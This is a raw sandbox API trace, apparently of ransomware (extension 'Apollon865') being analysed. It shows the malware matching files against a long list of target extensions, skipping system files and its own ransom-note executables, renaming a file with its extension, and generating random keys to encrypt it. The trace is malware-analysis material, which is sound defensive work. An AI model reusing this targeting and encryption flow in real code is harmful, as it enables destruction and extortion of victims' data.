	[0059.165] lstrcmpiW (lpString1="htm", lpString2="maf") returned -1
	[0059.165] lstrlenW (lpString="maq") returned 3
	[0059.165] lstrcmpiW (lpString1="htm", lpString2="maq") returned -1
	[0059.165] lstrlenW (lpString="mar") returned 3
	[0059.165] lstrcmpiW (lpString1="htm", lpString2="mar") returned -1
	[0059.165] lstrlenW (lpString="marshal") returned 7
	[0059.165] lstrcmpiW (lpString1="lue.htm", lpString2="marshal") returned -1
	[0059.165] lstrlenW (lpString="mas") returned 3
	[0059.165] lstrcmpiW (lpString1="htm", lpString2="mas") returned -1
	[0059.165] lstrlenW (lpString="mav") returned 3
	[0059.165] lstrcmpiW (lpString1="htm", lpString2="mav") returned -1
	[0059.165] lstrlenW (lpString="maw") returned 3
	[0059.165] lstrcmpiW (lpString1="htm", lpString2="maw") returned -1
	[0059.165] lstrlenW (lpString="mdbhtml") returned 7
	[0059.165] lstrcmpiW (lpString1="lue.htm", lpString2="mdbhtml") returned -1
	[0059.165] lstrlenW (lpString="mdn") returned 3
	[0059.165] lstrcmpiW (lpString1="htm", lpString2="mdn") returned -1
	[0059.165] lstrlenW (lpString="mdt") returned 3
	[0059.165] lstrcmpiW (lpString1="htm", lpString2="mdt") returned -1
	[0059.165] lstrlenW (lpString="mfd") returned 3
	[0059.165] lstrcmpiW (lpString1="htm", lpString2="mfd") returned -1
	[0059.165] lstrlenW (lpString="mpd") returned 3
	[0059.165] lstrcmpiW (lpString1="htm", lpString2="mpd") returned -1
	[0059.165] lstrlenW (lpString="mrg") returned 3
	[0059.165] lstrcmpiW (lpString1="htm", lpString2="mrg") returned -1
	[0059.165] lstrlenW (lpString="mud") returned 3
	[0059.165] lstrcmpiW (lpString1="htm", lpString2="mud") returned -1
	[0059.166] lstrlenW (lpString="mwb") returned 3
	[0059.166] lstrcmpiW (lpString1="htm", lpString2="mwb") returned -1
	[0059.166] lstrlenW (lpString="myd") returned 3
	[0059.166] lstrcmpiW (lpString1="htm", lpString2="myd") returned -1
	[0059.166] lstrlenW (lpString="ndf") returned 3
	[0059.166] lstrcmpiW (lpString1="htm", lpString2="ndf") returned -1
	[0059.166] lstrlenW (lpString="nnt") returned 3
	[0059.166] lstrcmpiW (lpString1="htm", lpString2="nnt") returned -1
	[0059.166] lstrlenW (lpString="nrmlib") returned 6
	[0059.166] lstrcmpiW (lpString1="ue.htm", lpString2="nrmlib") returned 1
	[0059.166] lstrlenW (lpString="ns2") returned 3
	[0059.166] lstrcmpiW (lpString1="htm", lpString2="ns2") returned -1
	[0059.166] lstrlenW (lpString="ns3") returned 3
	[0059.166] lstrcmpiW (lpString1="htm", lpString2="ns3") returned -1
	[0059.166] lstrlenW (lpString="ns4") returned 3
	[0059.166] lstrcmpiW (lpString1="htm", lpString2="ns4") returned -1
	[0059.166] lstrlenW (lpString="nsf") returned 3
	[0059.166] lstrcmpiW (lpString1="htm", lpString2="nsf") returned -1
	[0059.166] lstrlenW (lpString="nv") returned 2
	[0059.166] lstrcmpiW (lpString1="tm", lpString2="nv") returned 1
	[0059.166] lstrlenW (lpString="nv2") returned 3
	[0059.166] lstrcmpiW (lpString1="htm", lpString2="nv2") returned -1
	[0059.166] lstrlenW (lpString="nwdb") returned 4
	[0059.166] lstrcmpiW (lpString1=".htm", lpString2="nwdb") returned -1
	[0059.166] lstrlenW (lpString="nyf") returned 3
	[0059.166] lstrcmpiW (lpString1="htm", lpString2="nyf") returned -1
	[0059.166] lstrlenW (lpString="odb") returned 3
	[0059.166] lstrcmpiW (lpString1="htm", lpString2="odb") returned -1
	[0059.166] lstrlenW (lpString="odb") returned 3
	[0059.166] lstrcmpiW (lpString1="htm", lpString2="odb") returned -1
	[0059.166] lstrlenW (lpString="oqy") returned 3
	[0059.166] lstrcmpiW (lpString1="htm", lpString2="oqy") returned -1
	[0059.166] lstrlenW (lpString="ora") returned 3
	[0059.166] lstrcmpiW (lpString1="htm", lpString2="ora") returned -1
	[0059.167] lstrlenW (lpString="orx") returned 3
	[0059.167] lstrcmpiW (lpString1="htm", lpString2="orx") returned -1
	[0059.167] lstrlenW (lpString="owc") returned 3
	[0059.167] lstrcmpiW (lpString1="htm", lpString2="owc") returned -1
	[0059.167] lstrlenW (lpString="p96") returned 3
	[0059.167] lstrcmpiW (lpString1="htm", lpString2="p96") returned -1
	[0059.167] lstrlenW (lpString="p97") returned 3
	[0059.167] lstrcmpiW (lpString1="htm", lpString2="p97") returned -1
	[0059.167] lstrlenW (lpString="pan") returned 3
	[0059.167] lstrcmpiW (lpString1="htm", lpString2="pan") returned -1
	[0059.167] lstrlenW (lpString="pdb") returned 3
	[0059.167] lstrcmpiW (lpString1="htm", lpString2="pdb") returned -1
	[0059.167] lstrlenW (lpString="pdm") returned 3
	[0059.167] lstrcmpiW (lpString1="htm", lpString2="pdm") returned -1
	[0059.167] lstrlenW (lpString="pnz") returned 3
	[0059.167] lstrcmpiW (lpString1="htm", lpString2="pnz") returned -1
	[0059.167] lstrlenW (lpString="qry") returned 3
	[0059.167] lstrcmpiW (lpString1="htm", lpString2="qry") returned -1
	[0059.167] lstrlenW (lpString="qvd") returned 3
	[0059.167] lstrcmpiW (lpString1="htm", lpString2="qvd") returned -1
	[0059.167] lstrlenW (lpString="rbf") returned 3
	[0059.167] lstrcmpiW (lpString1="htm", lpString2="rbf") returned -1
	[0059.167] lstrlenW (lpString="rctd") returned 4
	[0059.167] lstrcmpiW (lpString1=".htm", lpString2="rctd") returned -1
	[0059.167] lstrlenW (lpString="rod") returned 3
	[0059.167] lstrcmpiW (lpString1="htm", lpString2="rod") returned -1
	[0059.167] lstrlenW (lpString="rodx") returned 4
	[0059.167] lstrcmpiW (lpString1=".htm", lpString2="rodx") returned -1
	[0059.167] lstrlenW (lpString="rpd") returned 3
	[0059.167] lstrcmpiW (lpString1="htm", lpString2="rpd") returned -1
	[0059.167] lstrlenW (lpString="rsd") returned 3
	[0059.167] lstrcmpiW (lpString1="htm", lpString2="rsd") returned -1
	[0059.167] lstrlenW (lpString="sas7bdat") returned 8
	[0059.168] lstrcmpiW (lpString1="Blue.htm", lpString2="sas7bdat") returned -1
	[0059.168] lstrlenW (lpString="sbf") returned 3
	[0059.168] lstrcmpiW (lpString1="htm", lpString2="sbf") returned -1
	[0059.168] lstrlenW (lpString="scx") returned 3
	[0059.168] lstrcmpiW (lpString1="htm", lpString2="scx") returned -1
	[0059.168] lstrlenW (lpString="sdb") returned 3
	[0059.168] lstrcmpiW (lpString1="htm", lpString2="sdb") returned -1
	[0059.168] lstrlenW (lpString="sdc") returned 3
	[0059.168] lstrcmpiW (lpString1="htm", lpString2="sdc") returned -1
	[0059.168] lstrlenW (lpString="sdf") returned 3
	[0059.168] lstrcmpiW (lpString1="htm", lpString2="sdf") returned -1
	[0059.168] lstrlenW (lpString="sis") returned 3
	[0059.168] lstrcmpiW (lpString1="htm", lpString2="sis") returned -1
	[0059.168] lstrlenW (lpString="spq") returned 3
	[0059.168] lstrcmpiW (lpString1="htm", lpString2="spq") returned -1
	[0059.168] lstrlenW (lpString="te") returned 2
	[0059.168] lstrcmpiW (lpString1="tm", lpString2="te") returned 1
	[0059.168] lstrlenW (lpString="teacher") returned 7
	[0059.168] lstrcmpiW (lpString1="lue.htm", lpString2="teacher") returned -1
	[0059.168] lstrlenW (lpString="tmd") returned 3
	[0059.168] lstrcmpiW (lpString1="htm", lpString2="tmd") returned -1
	[0059.168] lstrlenW (lpString="tps") returned 3
	[0059.168] lstrcmpiW (lpString1="htm", lpString2="tps") returned -1
	[0059.168] lstrlenW (lpString="trc") returned 3
	[0059.168] lstrcmpiW (lpString1="htm", lpString2="trc") returned -1
	[0059.168] lstrlenW (lpString="trc") returned 3
	[0059.168] lstrcmpiW (lpString1="htm", lpString2="trc") returned -1
	[0059.168] lstrlenW (lpString="trm") returned 3
	[0059.168] lstrcmpiW (lpString1="htm", lpString2="trm") returned -1
	[0059.168] lstrlenW (lpString="udb") returned 3
	[0059.168] lstrcmpiW (lpString1="htm", lpString2="udb") returned -1
	[0059.168] lstrlenW (lpString="udl") returned 3
	[0059.168] lstrcmpiW (lpString1="htm", lpString2="udl") returned -1
	[0059.168] lstrlenW (lpString="usr") returned 3
	[0059.169] lstrcmpiW (lpString1="htm", lpString2="usr") returned -1
	[0059.169] lstrlenW (lpString="v12") returned 3
	[0059.169] lstrcmpiW (lpString1="htm", lpString2="v12") returned -1
	[0059.169] lstrlenW (lpString="vis") returned 3
	[0059.169] lstrcmpiW (lpString1="htm", lpString2="vis") returned -1
	[0059.169] lstrlenW (lpString="vpd") returned 3
	[0059.169] lstrcmpiW (lpString1="htm", lpString2="vpd") returned -1
	[0059.169] lstrlenW (lpString="vvv") returned 3
	[0059.169] lstrcmpiW (lpString1="htm", lpString2="vvv") returned -1
	[0059.169] lstrlenW (lpString="wdb") returned 3
	[0059.169] lstrcmpiW (lpString1="htm", lpString2="wdb") returned -1
	[0059.169] lstrlenW (lpString="wmdb") returned 4
	[0059.169] lstrcmpiW (lpString1=".htm", lpString2="wmdb") returned -1
	[0059.169] lstrlenW (lpString="wrk") returned 3
	[0059.169] lstrcmpiW (lpString1="htm", lpString2="wrk") returned -1
	[0059.169] lstrlenW (lpString="xdb") returned 3
	[0059.169] lstrcmpiW (lpString1="htm", lpString2="xdb") returned -1
	[0059.169] lstrlenW (lpString="xld") returned 3
	[0059.169] lstrcmpiW (lpString1="htm", lpString2="xld") returned -1
	[0059.169] lstrlenW (lpString="xmlff") returned 5
	[0059.169] lstrcmpiW (lpString1="e.htm", lpString2="xmlff") returned -1
	[0059.169] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm.Apollon865") returned 94
	[0059.169] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\shades of blue.htm"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\shades of blue.htm.apollon865"), dwFlags=0x1) returned 1
	[0059.170] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\shades of blue.htm.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0059.170] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=237) returned 1
	[0059.170] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0059.170] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0059.170] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf788
	[0059.170] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0059.171] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0059.171] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0059.171] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3f0, lpName=0x0) returned 0x14c
	[0059.173] MapViewOfFile (hFileMappingObject=0x14c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3f0) returned 0x100000
	[0059.174] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0059.175] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0059.175] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0059.175] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0059.175] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0059.175] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0059.175] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0059.175] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0059.175] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0059.175] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2d38
	[0059.175] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0059.175] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2d38 | out: hHeap=0x580000) returned 1
	[0059.175] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0059.175] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0059.175] CloseHandle (hObject=0x14c) returned 1
	[0059.175] CloseHandle (hObject=0x150) returned 1
	[0059.175] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0059.176] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf788 | out: hHeap=0x580000) returned 1
	[0059.176] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0059.176] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x649d3c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x649d3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa58d6e3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x127e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ShadesOfBlue.jpg", cAlternateFileName="SHADES~1.JPG")) returned 1
	[0059.176] lstrcmpiW (lpString1="ShadesOfBlue.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0059.176] lstrcmpiW (lpString1="ShadesOfBlue.jpg", lpString2="Apollon865.txt.exe") returned 1
	[0059.176] lstrcmpiW (lpString1="ShadesOfBlue.jpg", lpString2=".") returned 1
	[0059.176] lstrcmpiW (lpString1="ShadesOfBlue.jpg", lpString2="..") returned 1
	[0059.176] lstrcmpiW (lpString1="ShadesOfBlue.jpg", lpString2="windows") returned -1
	[0059.176] lstrcmpiW (lpString1="ShadesOfBlue.jpg", lpString2="bootmgr") returned 1
	[0059.176] lstrcmpiW (lpString1="ShadesOfBlue.jpg", lpString2="temp") returned -1
	[0059.176] lstrcmpiW (lpString1="ShadesOfBlue.jpg", lpString2="pagefile.sys") returned 1
	[0059.176] lstrcmpiW (lpString1="ShadesOfBlue.jpg", lpString2="boot") returned 1
	[0059.176] lstrcmpiW (lpString1="ShadesOfBlue.jpg", lpString2="ids.txt") returned 1
	[0059.176] lstrcmpiW (lpString1="ShadesOfBlue.jpg", lpString2="ntuser.dat") returned 1
	[0059.176] lstrcmpiW (lpString1="ShadesOfBlue.jpg", lpString2="perflogs") returned 1
	[0059.176] lstrcmpiW (lpString1="ShadesOfBlue.jpg", lpString2="MSBuild") returned 1
	[0059.176] lstrlenW (lpString="ShadesOfBlue.jpg") returned 16
	[0059.176] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm") returned 83
	[0059.176] lstrcpyW (in: lpString1=0x119e68a, lpString2="ShadesOfBlue.jpg" | out: lpString1="ShadesOfBlue.jpg") returned="ShadesOfBlue.jpg"
	[0059.176] lstrlenW (lpString="ShadesOfBlue.jpg") returned 16
	[0059.176] lstrlenW (lpString="Apollon865") returned 10
	[0059.176] lstrcmpiW (lpString1="OfBlue.jpg", lpString2="Apollon865") returned 1
	[0059.176] lstrlenW (lpString=".dll") returned 4
	[0059.176] lstrcmpiW (lpString1="ShadesOfBlue.jpg", lpString2=".dll") returned 1
	[0059.176] lstrlenW (lpString=".lnk") returned 4
	[0059.176] lstrcmpiW (lpString1="ShadesOfBlue.jpg", lpString2=".lnk") returned 1
	[0059.176] lstrlenW (lpString=".ini") returned 4
	[0059.176] lstrcmpiW (lpString1="ShadesOfBlue.jpg", lpString2=".ini") returned 1
	[0059.177] lstrlenW (lpString=".sys") returned 4
	[0059.177] lstrcmpiW (lpString1="ShadesOfBlue.jpg", lpString2=".sys") returned 1
	[0059.177] lstrlenW (lpString="ShadesOfBlue.jpg") returned 16
	[0059.177] lstrlenW (lpString="bak") returned 3
	[0059.177] lstrcmpiW (lpString1="jpg", lpString2="bak") returned 1
	[0059.177] lstrlenW (lpString="ba_") returned 3
	[0059.177] lstrcmpiW (lpString1="jpg", lpString2="ba_") returned 1
	[0059.177] lstrlenW (lpString="dbb") returned 3
	[0059.177] lstrcmpiW (lpString1="jpg", lpString2="dbb") returned 1
	[0059.177] lstrlenW (lpString="vmdk") returned 4
	[0059.177] lstrcmpiW (lpString1=".jpg", lpString2="vmdk") returned -1
	[0059.177] lstrlenW (lpString="rar") returned 3
	[0059.177] lstrcmpiW (lpString1="jpg", lpString2="rar") returned -1
	[0059.177] lstrlenW (lpString="zip") returned 3
	[0059.177] lstrcmpiW (lpString1="jpg", lpString2="zip") returned -1
	[0059.177] lstrlenW (lpString="tgz") returned 3
	[0059.177] lstrcmpiW (lpString1="jpg", lpString2="tgz") returned -1
	[0059.177] lstrlenW (lpString="vbox") returned 4
	[0059.177] lstrcmpiW (lpString1=".jpg", lpString2="vbox") returned -1
	[0059.177] lstrlenW (lpString="vdi") returned 3
	[0059.177] lstrcmpiW (lpString1="jpg", lpString2="vdi") returned -1
	[0059.177] lstrlenW (lpString="vhd") returned 3
	[0059.177] lstrcmpiW (lpString1="jpg", lpString2="vhd") returned -1
	[0059.177] lstrlenW (lpString="vhdx") returned 4
	[0059.177] lstrcmpiW (lpString1=".jpg", lpString2="vhdx") returned -1
	[0059.177] lstrlenW (lpString="avhd") returned 4
	[0059.177] lstrcmpiW (lpString1=".jpg", lpString2="avhd") returned -1
	[0059.177] lstrlenW (lpString="db") returned 2
	[0059.177] lstrcmpiW (lpString1="pg", lpString2="db") returned 1
	[0059.177] lstrlenW (lpString="db2") returned 3
	[0059.177] lstrcmpiW (lpString1="jpg", lpString2="db2") returned 1
	[0059.177] lstrlenW (lpString="db3") returned 3
	[0059.177] lstrcmpiW (lpString1="jpg", lpString2="db3") returned 1
	[0059.178] lstrlenW (lpString="dbf") returned 3
	[0059.178] lstrcmpiW (lpString1="jpg", lpString2="dbf") returned 1
	[0059.178] lstrlenW (lpString="mdf") returned 3
	[0059.178] lstrcmpiW (lpString1="jpg", lpString2="mdf") returned -1
	[0059.178] lstrlenW (lpString="mdb") returned 3
	[0059.178] lstrcmpiW (lpString1="jpg", lpString2="mdb") returned -1
	[0059.178] lstrlenW (lpString="sql") returned 3
	[0059.178] lstrcmpiW (lpString1="jpg", lpString2="sql") returned -1
	[0059.178] lstrlenW (lpString="sqlite") returned 6
	[0059.178] lstrcmpiW (lpString1="ue.jpg", lpString2="sqlite") returned 1
	[0059.178] lstrlenW (lpString="sqlite3") returned 7
	[0059.178] lstrcmpiW (lpString1="lue.jpg", lpString2="sqlite3") returned -1
	[0059.178] lstrlenW (lpString="sqlitedb") returned 8
	[0059.178] lstrcmpiW (lpString1="Blue.jpg", lpString2="sqlitedb") returned -1
	[0059.178] lstrlenW (lpString="xml") returned 3
	[0059.178] lstrcmpiW (lpString1="jpg", lpString2="xml") returned -1
	[0059.178] lstrlenW (lpString="$er") returned 3
	[0059.178] lstrcmpiW (lpString1="jpg", lpString2="$er") returned 1
	[0059.178] lstrlenW (lpString="4dd") returned 3
	[0059.178] lstrcmpiW (lpString1="jpg", lpString2="4dd") returned 1
	[0059.178] lstrlenW (lpString="4dl") returned 3
	[0059.178] lstrcmpiW (lpString1="jpg", lpString2="4dl") returned 1
	[0059.178] lstrlenW (lpString="^^^") returned 3
	[0059.178] lstrcmpiW (lpString1="jpg", lpString2="^^^") returned 1
	[0059.178] lstrlenW (lpString="abs") returned 3
	[0059.178] lstrcmpiW (lpString1="jpg", lpString2="abs") returned 1
	[0059.178] lstrlenW (lpString="abx") returned 3
	[0059.178] lstrcmpiW (lpString1="jpg", lpString2="abx") returned 1
	[0059.178] lstrlenW (lpString="accdb") returned 5
	[0059.178] lstrcmpiW (lpString1="e.jpg", lpString2="accdb") returned 1
	[0059.178] lstrlenW (lpString="accdc") returned 5
	[0059.178] lstrcmpiW (lpString1="e.jpg", lpString2="accdc") returned 1
	[0059.178] lstrlenW (lpString="accde") returned 5
	[0059.178] lstrcmpiW (lpString1="e.jpg", lpString2="accde") returned 1
	[0059.179] lstrlenW (lpString="accdr") returned 5
	[0059.179] lstrcmpiW (lpString1="e.jpg", lpString2="accdr") returned 1
	[0059.179] lstrlenW (lpString="accdt") returned 5
	[0059.179] lstrcmpiW (lpString1="e.jpg", lpString2="accdt") returned 1
	[0059.179] lstrlenW (lpString="accdw") returned 5
	[0059.179] lstrcmpiW (lpString1="e.jpg", lpString2="accdw") returned 1
	[0059.179] lstrlenW (lpString="accft") returned 5
	[0059.179] lstrcmpiW (lpString1="e.jpg", lpString2="accft") returned 1
	[0059.179] lstrlenW (lpString="adb") returned 3
	[0059.179] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1
	[0059.179] lstrlenW (lpString="adb") returned 3
	[0059.179] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1
	[0059.179] lstrlenW (lpString="ade") returned 3
	[0059.179] lstrcmpiW (lpString1="jpg", lpString2="ade") returned 1
	[0059.179] lstrlenW (lpString="adf") returned 3
	[0059.179] lstrcmpiW (lpString1="jpg", lpString2="adf") returned 1
	[0059.179] lstrlenW (lpString="adn") returned 3
	[0059.179] lstrcmpiW (lpString1="jpg", lpString2="adn") returned 1
	[0059.179] lstrlenW (lpString="adp") returned 3
	[0059.179] lstrcmpiW (lpString1="jpg", lpString2="adp") returned 1
	[0059.179] lstrlenW (lpString="alf") returned 3
	[0059.179] lstrcmpiW (lpString1="jpg", lpString2="alf") returned 1
	[0059.179] lstrlenW (lpString="ask") returned 3
	[0059.179] lstrcmpiW (lpString1="jpg", lpString2="ask") returned 1
	[0059.179] lstrlenW (lpString="btr") returned 3
	[0059.179] lstrcmpiW (lpString1="jpg", lpString2="btr") returned 1
	[0059.179] lstrlenW (lpString="cat") returned 3
	[0059.179] lstrcmpiW (lpString1="jpg", lpString2="cat") returned 1
	[0059.179] lstrlenW (lpString="cdb") returned 3
	[0059.179] lstrcmpiW (lpString1="jpg", lpString2="cdb") returned 1
	[0059.179] lstrlenW (lpString="ckp") returned 3
	[0059.179] lstrcmpiW (lpString1="jpg", lpString2="ckp") returned 1
	[0059.179] lstrlenW (lpString="cma") returned 3
	[0059.179] lstrcmpiW (lpString1="jpg", lpString2="cma") returned 1
	[0059.179] lstrlenW (lpString="cpd") returned 3
	[0059.180] lstrcmpiW (lpString1="jpg", lpString2="cpd") returned 1
	[0059.180] lstrlenW (lpString="dacpac") returned 6
	[0059.180] lstrcmpiW (lpString1="ue.jpg", lpString2="dacpac") returned 1
	[0059.180] lstrlenW (lpString="dad") returned 3
	[0059.180] lstrcmpiW (lpString1="jpg", lpString2="dad") returned 1
	[0059.180] lstrlenW (lpString="dadiagrams") returned 10
	[0059.180] lstrcmpiW (lpString1="OfBlue.jpg", lpString2="dadiagrams") returned 1
	[0059.180] lstrlenW (lpString="daschema") returned 8
	[0059.180] lstrcmpiW (lpString1="Blue.jpg", lpString2="daschema") returned -1
	[0059.180] lstrlenW (lpString="db-journal") returned 10
	[0059.180] lstrcmpiW (lpString1="OfBlue.jpg", lpString2="db-journal") returned 1
	[0059.180] lstrlenW (lpString="db-shm") returned 6
	[0059.180] lstrcmpiW (lpString1="ue.jpg", lpString2="db-shm") returned 1
	[0059.180] lstrlenW (lpString="db-wal") returned 6
	[0059.180] lstrcmpiW (lpString1="ue.jpg", lpString2="db-wal") returned 1
	[0059.180] lstrlenW (lpString="dbc") returned 3
	[0059.180] lstrcmpiW (lpString1="jpg", lpString2="dbc") returned 1
	[0059.180] lstrlenW (lpString="dbs") returned 3
	[0059.180] lstrcmpiW (lpString1="jpg", lpString2="dbs") returned 1
	[0059.180] lstrlenW (lpString="dbt") returned 3
	[0059.180] lstrcmpiW (lpString1="jpg", lpString2="dbt") returned 1
	[0059.180] lstrlenW (lpString="dbv") returned 3
	[0059.180] lstrcmpiW (lpString1="jpg", lpString2="dbv") returned 1
	[0059.180] lstrlenW (lpString="dbx") returned 3
	[0059.180] lstrcmpiW (lpString1="jpg", lpString2="dbx") returned 1
	[0059.180] lstrlenW (lpString="dcb") returned 3
	[0059.180] lstrcmpiW (lpString1="jpg", lpString2="dcb") returned 1
	[0059.180] lstrlenW (lpString="dct") returned 3
	[0059.180] lstrcmpiW (lpString1="jpg", lpString2="dct") returned 1
	[0059.180] lstrlenW (lpString="dcx") returned 3
	[0059.180] lstrcmpiW (lpString1="jpg", lpString2="dcx") returned 1
	[0059.180] lstrlenW (lpString="ddl") returned 3
	[0059.180] lstrcmpiW (lpString1="jpg", lpString2="ddl") returned 1
	[0059.180] lstrlenW (lpString="dlis") returned 4
	[0059.181] lstrcmpiW (lpString1=".jpg", lpString2="dlis") returned -1
	[0059.181] lstrlenW (lpString="dp1") returned 3
	[0059.181] lstrcmpiW (lpString1="jpg", lpString2="dp1") returned 1
	[0059.181] lstrlenW (lpString="dqy") returned 3
	[0059.181] lstrcmpiW (lpString1="jpg", lpString2="dqy") returned 1
	[0059.181] lstrlenW (lpString="dsk") returned 3
	[0059.181] lstrcmpiW (lpString1="jpg", lpString2="dsk") returned 1
	[0059.181] lstrlenW (lpString="dsn") returned 3
	[0059.181] lstrcmpiW (lpString1="jpg", lpString2="dsn") returned 1
	[0059.181] lstrlenW (lpString="dtsx") returned 4
	[0059.181] lstrcmpiW (lpString1=".jpg", lpString2="dtsx") returned -1
	[0059.181] lstrlenW (lpString="dxl") returned 3
	[0059.181] lstrcmpiW (lpString1="jpg", lpString2="dxl") returned 1
	[0059.181] lstrlenW (lpString="eco") returned 3
	[0059.181] lstrcmpiW (lpString1="jpg", lpString2="eco") returned 1
	[0059.181] lstrlenW (lpString="ecx") returned 3
	[0059.181] lstrcmpiW (lpString1="jpg", lpString2="ecx") returned 1
	[0059.181] lstrlenW (lpString="edb") returned 3
	[0059.181] lstrcmpiW (lpString1="jpg", lpString2="edb") returned 1
	[0059.181] lstrlenW (lpString="epim") returned 4
	[0059.181] lstrcmpiW (lpString1=".jpg", lpString2="epim") returned -1
	[0059.181] lstrlenW (lpString="fcd") returned 3
	[0059.181] lstrcmpiW (lpString1="jpg", lpString2="fcd") returned 1
	[0059.181] lstrlenW (lpString="fdb") returned 3
	[0059.181] lstrcmpiW (lpString1="jpg", lpString2="fdb") returned 1
	[0059.181] lstrlenW (lpString="fic") returned 3
	[0059.181] lstrcmpiW (lpString1="jpg", lpString2="fic") returned 1
	[0059.181] lstrlenW (lpString="flexolibrary") returned 12
	[0059.181] lstrcmpiW (lpString1="esOfBlue.jpg", lpString2="flexolibrary") returned -1
	[0059.181] lstrlenW (lpString="fm5") returned 3
	[0059.181] lstrcmpiW (lpString1="jpg", lpString2="fm5") returned 1
	[0059.181] lstrlenW (lpString="fmp") returned 3
	[0059.181] lstrcmpiW (lpString1="jpg", lpString2="fmp") returned 1
	[0059.181] lstrlenW (lpString="fmp12") returned 5
	[0059.182] lstrcmpiW (lpString1="e.jpg", lpString2="fmp12") returned -1
	[0059.182] lstrlenW (lpString="fmpsl") returned 5
	[0059.182] lstrcmpiW (lpString1="e.jpg", lpString2="fmpsl") returned -1
	[0059.182] lstrlenW (lpString="fol") returned 3
	[0059.182] lstrcmpiW (lpString1="jpg", lpString2="fol") returned 1
	[0059.182] lstrlenW (lpString="fp3") returned 3
	[0059.182] lstrcmpiW (lpString1="jpg", lpString2="fp3") returned 1
	[0059.182] lstrlenW (lpString="fp4") returned 3
	[0059.182] lstrcmpiW (lpString1="jpg", lpString2="fp4") returned 1
	[0059.182] lstrlenW (lpString="fp5") returned 3
	[0059.182] lstrcmpiW (lpString1="jpg", lpString2="fp5") returned 1
	[0059.182] lstrlenW (lpString="fp7") returned 3
	[0059.182] lstrcmpiW (lpString1="jpg", lpString2="fp7") returned 1
	[0059.182] lstrlenW (lpString="fpt") returned 3
	[0059.182] lstrcmpiW (lpString1="jpg", lpString2="fpt") returned 1
	[0059.182] lstrlenW (lpString="frm") returned 3
	[0059.182] lstrcmpiW (lpString1="jpg", lpString2="frm") returned 1
